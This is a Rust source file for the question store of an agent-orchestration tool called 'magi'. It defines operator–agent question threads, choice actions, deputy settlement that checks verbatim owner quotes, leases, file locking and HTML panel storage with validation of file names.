1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 13;
66
67const POLL: Duration = Duration::from_secs(3);
76
77const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
88
89const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
95
96const WAIT_SLICE: Duration = Duration::from_secs(240);
120
121pub const LEASE_TTL: Duration = Duration::from_secs(90);
131
132const LOCK_STALE: Duration = Duration::from_secs(10);
135
136pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
147
148pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
157
158const PANEL_DIR: &str = ".panel";
164
165const PANEL_HTML: &str = "index.html";
167
168const PANEL_TMP: &str = ".panel.tmp";
170
171pub fn valid_asset_name(name: &str) -> bool {
188 if name.is_empty() || name.len() > 64 || name.contains("..") {
189 return false;
190 }
191 let mut chars = name.chars();
192 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
193 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
194}
195
196#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
198#[serde(rename_all = "lowercase")]
199pub enum QuestionStatus {
200 Open,
202 Answered,
204 Abandoned,
208}
209
210impl QuestionStatus {
211 pub fn open(self) -> bool {
213 matches!(self, Self::Open)
214 }
215
216 pub fn as_str(self) -> &'static str {
218 match self {
219 Self::Open => "open",
220 Self::Answered => "answered",
221 Self::Abandoned => "abandoned",
222 }
223 }
224}
225
226#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
233#[serde(rename_all = "lowercase")]
234pub enum Answer {
235 Choice(String),
237 Text(String),
239}
240
241#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
249#[serde(tag = "do", rename_all = "lowercase")]
250pub enum ChoiceAction {
251 Resume {
253 run: String,
255 },
256 ResumeRun {
258 run: String,
260 },
261 ReleaseTask {
263 task: String,
265 held_at: jiff::Timestamp,
267 reason: Option<String>,
269 },
270 RerunChecks {
272 repo: PathBuf,
274 pr: String,
276 head: String,
278 runs: Vec<String>,
280 },
281 AbandonRun {
283 run: String,
285 },
286 Requeue,
288 Hold,
290 Done,
292}
293
294impl ChoiceAction {
295 pub fn targets(&self, task: &crate::queue::Task) -> bool {
297 match self {
298 Self::ReleaseTask { task: id, .. } => task.id == *id,
299 Self::ResumeRun { run } | Self::AbandonRun { run } | Self::Resume { run } => {
300 task.runs.contains(run)
301 }
302 _ => false,
303 }
304 }
305
306 pub fn maintenance(&self) -> bool {
308 matches!(
309 self,
310 Self::ResumeRun { .. }
311 | Self::ReleaseTask { .. }
312 | Self::RerunChecks { .. }
313 | Self::AbandonRun { .. }
314 )
315 }
316
317 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
322 let split = spec
323 .find("={")
324 .map(|at| (&spec[..at], &spec[at + 1..]))
325 .or_else(|| spec.rsplit_once('='));
326 let Some((label, verb)) = split else {
327 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
328 };
329 let label = label.trim();
330 if label.is_empty() {
331 bail!("`--action {spec}` names no choice before `=`");
332 }
333 let verb = verb.trim();
334 if verb.starts_with('{') {
335 let action = serde_json::from_str(verb).context("parse typed choice action")?;
336 return Ok((label.to_owned(), action));
337 }
338 let action = match verb.split_once(':') {
339 Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
340 run: run.trim().into(),
341 },
342 Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
343 run: run.trim().into(),
344 },
345 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
346 run: run.trim().to_owned(),
347 },
348 None if verb == "resume" => {
349 if default_run.is_empty() {
350 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
351 }
352 Self::Resume {
353 run: default_run.to_owned(),
354 }
355 }
356 None if verb == "requeue" => Self::Requeue,
357 None if verb == "hold" => Self::Hold,
358 None if verb == "done" => Self::Done,
359 _ => bail!(
360 "unknown action `{verb}` in `--action {spec}`; \
361 use resume[:<run>], requeue, hold or done"
362 ),
363 };
364 Ok((label.to_owned(), action))
365 }
366
367 pub fn matches_alias(&self, input: &str) -> bool {
370 let input = input.trim();
371 match self {
372 Self::Resume { run } => {
373 [
374 "resume",
375 "resume run",
376 "resume-run",
377 "再開",
378 "実行再開",
379 "実行を再開",
380 "実行を再開する",
381 ]
382 .iter()
383 .any(|alias| input.eq_ignore_ascii_case(alias))
384 || [
385 format!("resume {run}"),
386 format!("resume:{run}"),
387 format!("resume run {run}"),
388 format!("resume {}", short(run)),
389 format!("resume run {}", short(run)),
390 ]
391 .iter()
392 .any(|alias| input.eq_ignore_ascii_case(alias))
393 }
394 Self::Hold => ["hold", "keep-held", "keep held", "保留"]
395 .iter()
396 .any(|alias| input.eq_ignore_ascii_case(alias)),
397 _ => false,
398 }
399 }
400
401 pub fn describe(&self) -> String {
403 match self {
404 Self::Resume { run } => format!("resume run {}", short(run)),
405 Self::ResumeRun { run } => format!("resume run {}", short(run)),
406 Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
407 Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
408 Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
409 Self::Requeue => "requeue the task".to_owned(),
410 Self::Hold => "hold the task until the operator releases it".to_owned(),
411 Self::Done => "mark the task done".to_owned(),
412 }
413 }
414}
415
416pub fn parse_actions(
419 specs: &[String],
420 choices: &[String],
421 default_run: &str,
422) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
423 let mut out = std::collections::BTreeMap::new();
424 for spec in specs {
425 let (label, action) = ChoiceAction::parse(spec, default_run)?;
426 if !choices.contains(&label) {
427 bail!(
428 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
429 choices.join(", ")
430 );
431 }
432 if out.insert(label.clone(), action).is_some() {
433 bail!("more than one --action for `{label}`");
434 }
435 }
436 Ok(out)
437}
438
439#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
450#[serde(rename_all = "lowercase")]
451pub enum Who {
452 Operator,
454 Agent,
457}
458
459#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
467#[serde(deny_unknown_fields)]
468pub struct Turn {
469 pub who: Who,
471 pub body: String,
473 pub at: Timestamp,
475 #[serde(default, skip_serializing_if = "Option::is_none")]
480 pub note: Option<String>,
481}
482
483#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
485#[serde(rename_all = "lowercase")]
486pub enum WaiterKind {
487 Asker,
489 Daemon,
492 Deputy,
496}
497
498#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
510pub struct Deputy {
511 pub brief: String,
514 #[serde(default)]
516 pub agent: String,
517 #[serde(default)]
519 pub seat: Option<crate::agent::SeatState>,
520 #[serde(default)]
523 pub starts: u32,
524}
525
526impl Deputy {
527 pub fn new(brief: String) -> Self {
529 Self {
530 brief,
531 agent: String::new(),
532 seat: None,
533 starts: 0,
534 }
535 }
536}
537
538pub fn deputy_seat_key(id: &str) -> String {
540 format!("deputy-{}", short(id))
541}
542
543#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
548pub struct Waiter {
549 pub kind: WaiterKind,
551 pub since: Timestamp,
553}
554
555#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
564pub struct Lease {
565 pub kind: WaiterKind,
567 pub pid: u32,
569 pub beat_at: Timestamp,
571}
572
573impl Lease {
574 pub fn fresh(&self, now: Timestamp) -> bool {
576 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
577 }
578}
579
580#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
582#[serde(deny_unknown_fields)]
583pub struct Question {
584 pub schema: u32,
586 pub id: String,
589 pub run: String,
591 pub node: String,
593 pub seat: String,
596 pub summary: String,
599 pub detail: String,
602 #[serde(default, skip_serializing_if = "Option::is_none")]
604 pub posting_comparison: Option<crate::github_text::PostingComparison>,
605 pub choices: Vec<String>,
609 #[serde(default)]
611 pub merge_target: Option<crate::merge_decision::Target>,
612 #[serde(default)]
614 pub routed_task: Option<String>,
615 #[serde(default)]
617 pub routed_chat: Option<String>,
618 #[serde(default, skip_serializing_if = "Option::is_none")]
621 pub publication_title: Option<String>,
622 #[serde(default)]
626 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
627 #[serde(default)]
634 pub panel: bool,
635 #[serde(default)]
642 pub assets: Vec<String>,
643 pub status: QuestionStatus,
645 pub asked_at: Timestamp,
647 #[serde(default)]
649 pub triage_generation: Option<u64>,
650 pub answered_at: Option<Timestamp>,
652 pub answer: Option<Answer>,
654 #[serde(default)]
663 pub thread: Vec<Turn>,
664 #[serde(default)]
679 pub answer_timeout: u64,
680 #[serde(default)]
686 pub cwd: Option<String>,
687 #[serde(default)]
689 pub waiter: Option<Waiter>,
690 #[serde(default)]
694 pub delivered_turns: usize,
695 #[serde(default)]
698 pub answer_delivered: bool,
699 #[serde(default)]
702 pub deputy: Option<Deputy>,
703 #[serde(default)]
707 pub consult: Option<ChatConsult>,
708 #[serde(default, skip_serializing_if = "Option::is_none")]
710 pub answer_authority: Option<crate::consult::AnswerAuthority>,
711 #[serde(default, skip_serializing_if = "Option::is_none")]
713 pub consult_outcome: Option<crate::consult::ConsultOutcome>,
714 #[serde(default)]
717 pub decision_context: Option<String>,
718}
719
720#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
722pub struct ChatConsult {
723 pub talk: String,
725 pub at: Timestamp,
727}
728
729impl Question {
730 pub fn run_names_task(&self) -> bool {
733 matches!(
734 self.node.as_str(),
735 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
736 )
737 }
738
739 pub fn new(
742 run: String,
743 node: String,
744 seat: String,
745 summary: String,
746 detail: String,
747 choices: Vec<String>,
748 ) -> Self {
749 Self {
750 schema: SCHEMA,
751 id: new_id(),
752 run,
753 node,
754 seat,
755 summary,
756 detail,
757 posting_comparison: None,
758 choices,
759 merge_target: None,
760 routed_task: None,
761 routed_chat: None,
762 publication_title: None,
763 actions: std::collections::BTreeMap::new(),
764 panel: false,
765 assets: Vec::new(),
766 status: QuestionStatus::Open,
767 asked_at: Timestamp::now(),
768 triage_generation: None,
769 answered_at: None,
770 answer: None,
771 thread: Vec::new(),
772 answer_timeout: 0,
773 cwd: None,
774 waiter: None,
775 delivered_turns: 0,
776 answer_delivered: false,
777 deputy: None,
778 consult: None,
779 answer_authority: None,
780 consult_outcome: None,
781 decision_context: None,
782 }
783 }
784
785 pub fn short(&self) -> &str {
787 short(&self.id)
788 }
789
790 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
793 match (&self.status, &self.answer) {
794 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
795 _ => None,
796 }
797 }
798
799 pub fn free_text(&self) -> bool {
801 self.choices.is_empty()
802 }
803
804 pub fn reply_guidance(&self) -> String {
807 self.choices
808 .iter()
809 .map(|label| {
810 let aliases: Vec<_> = ["resume-run", "keep-held"]
811 .into_iter()
812 .filter(|alias| self.resolve_reply(alias).ok() == Some(label.as_str()))
813 .collect();
814 let exact = serde_json::to_string(label).expect("serialize label");
815 let reply = if aliases.is_empty() {
816 format!("exact label: {exact}")
817 } else {
818 format!(
819 "exact label: {exact}; accepted aliases: {}",
820 aliases.join(", ")
821 )
822 };
823 match self.actions.get(label) {
824 Some(action) => {
825 format!("{reply}; effect (not reply text): {}", action.describe())
826 }
827 None => reply,
828 }
829 })
830 .collect::<Vec<_>>()
831 .join("\n")
832 }
833
834 pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
837 if self.free_text() || self.choices.iter().any(|c| c == reply) {
838 return Ok(reply);
839 }
840 if ChoiceAction::Hold.matches_alias(reply)
841 && let Some(label) = self
842 .choices
843 .iter()
844 .find(|label| crate::triage::contextual_keep_held(self, label))
845 {
846 return Ok(label);
847 }
848 let matches: Vec<_> = self
849 .actions
850 .iter()
851 .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
852 .collect();
853 match matches.as_slice() {
854 [(label, _)] => Ok(label.as_str()),
855 [] => bail!(
856 "alias mismatch with offered choices: `{reply}` is not an offered label or supported action alias; exact labels: {}; inspect `magi answer --list`, copy the intended offered label verbatim into --reply, and retry once only if the same owner authorization still holds (action descriptions and bracketed annotations are not reply values)",
857 serde_json::to_string(&self.choices).expect("serialize labels")
858 ),
859 _ => bail!(
860 "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
861 ),
862 }
863 }
864
865 pub fn answer(&mut self, answer: Answer) -> Result<()> {
875 self.answer_inner(answer)
876 }
877
878 pub(crate) fn answer_chat_button(
880 &mut self,
881 answer: Answer,
882 talk: &str,
883 head: &str,
884 ) -> Result<()> {
885 anyhow::ensure!(
886 self.routed_chat.as_deref() == Some(talk),
887 "wrong approval chat"
888 );
889 anyhow::ensure!(
890 self.merge_target.as_ref().is_some_and(|t| t.head == head),
891 "stale approval head"
892 );
893 self.answer_inner(answer)
894 }
895
896 fn answer_inner(&mut self, answer: Answer) -> Result<()> {
897 match self.status {
898 QuestionStatus::Answered => bail!(
899 "question {} was already answered; the run has moved on and a \
900 second answer would be a decision nobody acted on",
901 self.short()
902 ),
903 QuestionStatus::Abandoned => bail!(
904 "question {} was abandoned and the run behind it is gone",
905 self.short()
906 ),
907 QuestionStatus::Open => {}
908 }
909 let body = match &answer {
910 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
911 };
912 if body.trim().is_empty() {
913 bail!(
914 "question {} needs an answer; an empty one tells the agent \
915 nothing and it would guess anyway",
916 self.short()
917 );
918 }
919 match &answer {
920 Answer::Choice(c) if self.free_text() => bail!(
921 "question {} asks for free text, so `{c}` cannot be a choice \
922 it offered",
923 self.short()
924 ),
925 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
926 "`{c}` is not one of the choices question {} offers: {}",
927 self.short(),
928 self.choices.join(", ")
929 ),
930 Answer::Text(_) if !self.free_text() => bail!(
931 "question {} is multiple choice; answer with one of: {}",
932 self.short(),
933 self.choices.join(", ")
934 ),
935 _ => {}
936 }
937 if body.eq_ignore_ascii_case(crate::land::HOLD) && self.actions.contains_key(body) {
938 bail!("hold cannot execute a question action");
939 }
940 self.answered_at = Some(Timestamp::now());
941 self.answer = Some(answer);
942 self.status = QuestionStatus::Answered;
943 Ok(())
944 }
945
946 pub fn abandon(&mut self, why: impl Into<String>) {
958 if !self.status.open() {
959 return;
960 }
961 self.status = QuestionStatus::Abandoned;
962 let why = why.into();
963 let why = why.trim();
964 if why.is_empty() {
965 return;
966 }
967 if !self.detail.is_empty() {
968 self.detail.push('\n');
969 }
970 self.detail.push_str("\n_Abandoned: ");
971 self.detail.push_str(why);
972 self.detail.push_str("._\n");
973 }
974
975 pub fn resolution(&self) -> Option<String> {
982 match (self.status, &self.answer) {
983 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
984 Some(a.clone())
985 }
986 _ => None,
987 }
988 }
989
990 pub fn settle_by_deputy(
1001 &mut self,
1002 seat: &str,
1003 label: &str,
1004 quote: &str,
1005 note: Option<&str>,
1006 ) -> Result<()> {
1007 if self.routed_task.is_some() {
1008 bail!("task decisions are handled by the task chat, not a deputy");
1009 }
1010 let Some(deputy) = &self.deputy else {
1011 bail!("question {} has no deputy", self.short());
1012 };
1013 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
1014 if own != Some(seat) {
1015 bail!("only the deputy of question {} may settle it", self.short());
1016 }
1017 if !self.choices.iter().any(|c| c == label) {
1018 bail!(
1019 "`{label}` is not one of the choices offered on question {}",
1020 self.short()
1021 );
1022 }
1023 let quote = quote.trim();
1024 if quote.is_empty()
1025 || !self
1026 .thread
1027 .iter()
1028 .any(|t| t.who == Who::Operator && t.body.contains(quote))
1029 {
1030 bail!(
1031 "the quote is not something the owner said on question {}",
1032 self.short()
1033 );
1034 }
1035 let latest = self
1038 .thread
1039 .iter()
1040 .rev()
1041 .find(|t| t.who == Who::Operator)
1042 .map(|t| {
1043 if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
1044 t.body.as_str()
1045 } else {
1046 t.body.trim()
1047 }
1048 });
1049 if let Some(message) = latest {
1050 crate::consult::validate_batch_effect(self, label, message, quote)?;
1051 }
1052 if self.node == crate::github_text::ASK_NODE && label == crate::github_text::USE_MY_TEXT {
1053 let message = latest.context("use my text requires a current owner instruction with the literal replacement title")?;
1054 crate::consult::validate_effect(self, label, message, quote, true)?;
1055 } else if crate::deputy::merge_gated(self) {
1056 let ok = if label == crate::land::APPROVE {
1062 latest.is_some_and(|m| match &self.merge_target {
1063 Some(target) => m == format!("merge {}", target.head) && quote == m,
1064 None => m.contains(quote),
1065 })
1066 } else {
1067 latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
1068 };
1069 if !ok {
1070 bail!(
1071 "on a merge approval `{label}` settles it only when the quote is a \
1072 verbatim part of the owner's latest message ({}); if the wording is \
1073 doubtful, ask what they mean with `--thread` instead",
1074 if label == crate::land::HOLD {
1075 "for `hold`, the whole message"
1076 } else {
1077 "the quote must be the instruction itself"
1078 }
1079 );
1080 }
1081 } else if self.node == crate::github_text::ASK_NODE
1082 && crate::deputy::destructive(self, label)
1083 {
1084 if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
1085 bail!(
1086 "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
1087 );
1088 }
1089 } else if crate::deputy::destructive(self, label)
1090 && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
1091 {
1092 bail!(
1093 "`{label}` cannot be undone; it settles question {} only when the owner's \
1094 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
1095 / not / question); ask what they mean with `--thread` instead",
1096 self.short()
1097 );
1098 }
1099 self.thread.push(Turn {
1100 who: Who::Agent,
1101 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
1102 at: Timestamp::now(),
1103 note: note
1104 .map(str::trim)
1105 .filter(|n| !n.is_empty())
1106 .map(str::to_owned),
1107 });
1108 self.delivered_turns = self.thread.len();
1109 self.answer(Answer::Choice(label.to_owned()))
1110 }
1111
1112 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1123 match self.status {
1124 QuestionStatus::Answered => bail!(
1125 "question {} was already answered; there is nothing left to \
1126 discuss",
1127 self.short()
1128 ),
1129 QuestionStatus::Abandoned => bail!(
1130 "question {} was abandoned and the run behind it is gone",
1131 self.short()
1132 ),
1133 QuestionStatus::Open => {}
1134 }
1135 let body = body.into();
1136 if body.trim().is_empty() {
1137 bail!("a message to question {} cannot be empty", self.short());
1138 }
1139 self.thread.push(Turn {
1140 who: Who::Operator,
1141 body,
1142 at: Timestamp::now(),
1143 note: None,
1144 });
1145 Ok(())
1146 }
1147
1148 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1158 match self.status {
1159 QuestionStatus::Answered => bail!(
1160 "question {} was already answered; replying now would not \
1161 reach anyone",
1162 self.short()
1163 ),
1164 QuestionStatus::Abandoned => bail!(
1165 "question {} was abandoned and the run behind it is gone",
1166 self.short()
1167 ),
1168 QuestionStatus::Open => {}
1169 }
1170 let body = body.into();
1171 if body.trim().is_empty() {
1172 bail!("a reply to question {} cannot be empty", self.short());
1173 }
1174 self.actions.retain(|label, _| choices.contains(label));
1176 self.choices = choices;
1177 let unread = self.unread_from_owner().is_some();
1178 self.thread.push(Turn {
1179 who: Who::Agent,
1180 body,
1181 at: Timestamp::now(),
1182 note: None,
1183 });
1184 if !unread {
1188 self.delivered_turns = self.thread.len();
1189 }
1190 Ok(())
1191 }
1192
1193 pub fn unread_from_owner(&self) -> Option<String> {
1200 if !self.status.open() {
1201 return None;
1202 }
1203 let said = self.undelivered_owner_turns();
1204 (!said.is_empty()).then(|| said.join("\n\n"))
1205 }
1206
1207 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1213 let from = self.delivered_turns.min(self.thread.len());
1214 self.thread[from..]
1215 .iter()
1216 .filter(|t| t.who == Who::Operator)
1217 .map(|t| t.body.as_str())
1218 .collect()
1219 }
1220
1221 pub fn last_activity(&self) -> i64 {
1225 self.thread
1226 .iter()
1227 .map(|t| t.at.as_second())
1228 .max()
1229 .unwrap_or(0)
1230 .max(self.asked_at.as_second())
1231 }
1232
1233 pub fn waiting_on_agent(&self) -> bool {
1242 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1243 }
1244
1245 fn should_notify(&self, now: Timestamp) -> bool {
1253 let Some(last) = self
1254 .thread
1255 .iter()
1256 .rev()
1257 .find(|t| t.who == Who::Operator)
1258 .map(|t| t.at)
1259 else {
1260 return true;
1261 };
1262 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1263 }
1264}
1265
1266#[derive(Debug, Clone)]
1268pub struct Questions {
1269 root: PathBuf,
1270}
1271
1272impl Questions {
1273 pub fn open() -> Self {
1275 Self::at(crate::run::home().join("questions"))
1276 }
1277
1278 pub fn at(root: PathBuf) -> Self {
1281 Self { root }
1282 }
1283
1284 pub fn root(&self) -> &Path {
1286 &self.root
1287 }
1288
1289 pub fn path_of(&self, id: &str) -> PathBuf {
1291 self.root.join(format!("{id}.json"))
1292 }
1293
1294 pub fn panel_dir(&self, id: &str) -> PathBuf {
1296 self.root.join(format!("{id}{PANEL_DIR}"))
1297 }
1298
1299 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1323 if !valid_asset_name(&q.id) {
1324 bail!(
1325 "question id `{}` is not a name magi will build a panel path from",
1326 q.id
1327 );
1328 }
1329 if html.trim().is_empty() {
1330 bail!(
1331 "question {} was handed an empty panel; an empty frame reads to \
1332 the owner as \"the agent had nothing to say\", which is a lie",
1333 q.short()
1334 );
1335 }
1336
1337 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1340 for src in assets {
1341 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1342 if !valid_asset_name(name) {
1343 bail!(
1344 "panel asset `{}` cannot be stored: a panel file name must \
1345 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1346 src.display()
1347 );
1348 }
1349 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1350 bail!(
1351 "two panel assets are both named `{name}` - {} and {} - and \
1352 the panel can only show one of them; rename one at the source",
1353 first.display(),
1354 src.display()
1355 );
1356 }
1357 named.push((name.to_owned(), src.as_path()));
1358 }
1359
1360 let mut total = html.len() as u64;
1361 for (_, src) in &named {
1362 let meta = std::fs::metadata(src)
1363 .with_context(|| format!("stat panel asset {}", src.display()))?;
1364 if !meta.is_file() {
1365 bail!(
1366 "panel asset `{}` is not a file; a panel is html plus files \
1367 copied beside it",
1368 src.display()
1369 );
1370 }
1371 total = total.saturating_add(meta.len());
1372 }
1373 if total > PANEL_MAX_BYTES {
1374 bail!(
1375 "panel for question {} is {total} bytes, over magi's cap of \
1376 {PANEL_MAX_BYTES} bytes; nothing was written",
1377 q.short()
1378 );
1379 }
1380
1381 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1382 let dir = self.panel_dir(&q.id);
1383 std::fs::create_dir_all(&self.root)
1384 .with_context(|| format!("create {}", self.root.display()))?;
1385 clear_dir(&tmp)?;
1386 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1387 if let Err(e) = fill_panel(&tmp, html, &named) {
1388 let _ = std::fs::remove_dir_all(&tmp);
1391 return Err(e);
1392 }
1393 clear_dir(&dir)?;
1394 std::fs::rename(&tmp, &dir)
1395 .with_context(|| format!("move panel into {}", dir.display()))?;
1396
1397 q.panel = true;
1398 q.assets = named.into_iter().map(|(n, _)| n).collect();
1399 q.assets.sort_unstable();
1400 Ok(())
1401 }
1402
1403 pub fn panel_html(&self, id: &str) -> Option<String> {
1409 if !valid_asset_name(id) {
1410 return None;
1411 }
1412 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1413 }
1414
1415 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1426 if !valid_asset_name(name) {
1427 bail!(
1428 "`{name}` is not a panel file name; it must match \
1429 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1430 );
1431 }
1432 if !valid_asset_name(id) {
1433 return Ok(None);
1434 }
1435 let dir = self.panel_dir(id);
1436 if !dir.is_dir() {
1437 return Ok(None);
1438 }
1439 let path = dir.join(name);
1440 match std::fs::read(&path) {
1441 Ok(bytes) => Ok(Some(bytes)),
1442 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1443 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1444 }
1445 }
1446
1447 pub fn drop_panel(&self, id: &str) -> Result<()> {
1456 if !valid_asset_name(id) {
1457 bail!("question id `{id}` is not a name magi will build a panel path from");
1458 }
1459 clear_dir(&self.panel_dir(id))?;
1460 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1461 }
1462
1463 pub fn lease_path(&self, id: &str) -> PathBuf {
1465 self.root.join(format!("{id}.lease"))
1466 }
1467
1468 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1470 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1471 serde_json::from_str(&body).ok()
1472 }
1473
1474 pub fn beat(&self, id: &str, kind: WaiterKind) {
1481 let lease = Lease {
1482 kind,
1483 pid: std::process::id(),
1484 beat_at: Timestamp::now(),
1485 };
1486 let path = self.lease_path(id);
1487 let tmp = path.with_extension("lease.tmp");
1488 let written = std::fs::create_dir_all(&self.root)
1489 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1490 .and_then(|()| std::fs::rename(&tmp, &path));
1491 if let Err(e) = written {
1492 tracing::debug!("could not beat the lease on question {id}: {e}");
1493 }
1494 }
1495
1496 pub fn drop_lease(&self, id: &str) {
1498 let _ = std::fs::remove_file(self.lease_path(id));
1499 }
1500
1501 pub fn update<T>(
1512 &self,
1513 id: &str,
1514 f: impl FnOnce(&mut Question) -> Result<T>,
1515 ) -> Result<(Question, T)> {
1516 std::fs::create_dir_all(&self.root)
1517 .with_context(|| format!("create {}", self.root.display()))?;
1518 let lock = self.root.join(format!("{id}.lock"));
1519 let started = std::time::Instant::now();
1520 let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1521 loop {
1522 match retry.create(&lock) {
1523 Ok(_) => break,
1524 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1525 let stale = std::fs::metadata(&lock)
1526 .and_then(|m| m.modified())
1527 .ok()
1528 .and_then(|t| t.elapsed().ok())
1529 .is_some_and(|age| age > LOCK_STALE);
1530 if stale {
1531 let _ = std::fs::remove_file(&lock);
1532 } else if started.elapsed() > LOCK_STALE {
1533 bail!("could not lock question {id}");
1534 } else {
1535 std::thread::sleep(Duration::from_millis(15));
1536 }
1537 }
1538 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1539 }
1540 }
1541 struct Unlock(PathBuf);
1542 impl Drop for Unlock {
1543 fn drop(&mut self) {
1544 let _ = std::fs::remove_file(&self.0);
1545 }
1546 }
1547 let _guard = Unlock(lock);
1548 let mut q = read_path(&self.path_of(id))?;
1549 let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1550 let out = f(&mut q)?;
1551 if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1552 let home = self.root.parent().context("question store has no home")?;
1553 crate::merge_decision::dismiss(home, &q)?;
1554 }
1555 self.put(&mut q)?;
1556 Ok((q, out))
1557 }
1558
1559 pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1562 anyhow::ensure!(
1563 q.actions.keys().all(|c| q.choices.contains(c)),
1564 "question action names an unoffered choice"
1565 );
1566 for label in &q.choices {
1567 anyhow::ensure!(
1568 crate::choice_effect::describe(q, label).is_some(),
1569 "question node {} offers an unsupported choice: {label}",
1570 q.node
1571 );
1572 }
1573 self.put(q)
1574 }
1575
1576 pub fn put(&self, q: &mut Question) -> Result<()> {
1580 if q.status.open()
1581 && q.routed_task.is_none()
1582 && let Some(home) = self.root.parent()
1583 {
1584 let tasks = crate::queue::Queue::at(home.join("queue")).list();
1585 q.routed_task = crate::task_chat::task_of(q, &tasks).filter(|id| {
1586 crate::task_chat::chat_routable(q) && crate::task_chat::enabled_for(&tasks, id)
1587 });
1588 }
1589 std::fs::create_dir_all(&self.root)
1590 .with_context(|| format!("create {}", self.root.display()))?;
1591 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1592 let path = self.path_of(&q.id);
1593 let tmp = path.with_extension("json.tmp");
1594 let is_new = !path.exists();
1595 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1596 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1597 if is_new
1600 && q.status.open()
1601 && q.node != crate::bump::NOTICE_NODE
1602 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1603 {
1604 crate::notices::quiet_for(home, q);
1605 }
1606 Ok(())
1607 }
1608
1609 pub fn get(&self, id: &str) -> Result<Question> {
1611 let resolved = self.resolve_id(id)?;
1612 let q = read_path(&self.path_of(&resolved))?;
